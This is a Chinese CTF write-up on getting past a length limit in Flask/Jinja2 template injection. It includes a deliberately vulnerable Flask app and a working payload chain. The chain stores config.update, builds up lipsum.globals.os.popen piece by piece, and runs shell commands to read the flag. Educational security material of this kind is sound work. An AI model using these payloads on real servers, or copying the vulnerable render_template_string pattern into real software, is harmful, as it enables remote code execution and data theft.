前几天单身杯上的一个SSTi题目,让我学习到了突破SSTI长度的技术
前置知识
Flask 框架中存在 config 全局对象,用来保存配置信息。config 对象实质上是一个字典的子类,可以像字典一样操作。因此要更新字典,我们可以使用 Python 中字典的 update() 方法。用 update() 方法 + 关键字参数更新字典:
d = {'a': 1, 'b': 2, 'c': 3}
d.update(d=4)
print(d)
这样就能在字典里面添加东西了
本地搭一个环境
from flask import Flask, render_template_string, request, Response
app = Flask(__name__)
@app.route('/')
def index():
return Response(open(__file__).read(), mimetype='text/plain')
@app.route('/ssti')
def ssti():
query = request.args['query'] if 'query' in request.args else '...'
print(len(query))
if len(query) > 49:
return "Too long!"
return render_template_string(query)
app.run('0.0.0.0', 1337)
先查看下config里的东西
Jinja 模板中存在 set 语句,用来设置模板中的变量
我们可以使用 Jinja 模板的 set 语句配合字典的 update() 方法来更新 config 全局对象
ezzz_ssti
例如:输入{% set x=config.update(s='插入成功') %},然后再{{config}}查看一下,可以看到已经成功在 config 全局对象中
接下来,我们就可以使用此方法来在 config 全局对象中分段保存 Payload,以绕过长度限制
输入:{%set x=config.update(a=config.update)%} 此时字典中a的值被更新为config全局对象中的update方法
输入:{%set x=config.a(f=lipsum.globals)%} //f的值被更新为lipsum.globals
输入:{%set x=config.a(o=config.f.os)%} //o的值被更新为lipsum.globals.os
输入:{%set x=config.a(p=config.o.popen)%} //p的值被更新为lipsum.globals.os.popen
输入:{{config.p("ls").read()}} //接下来就可以执行命令了
输入:{{config.p("cat /f*").read()}} //读取flag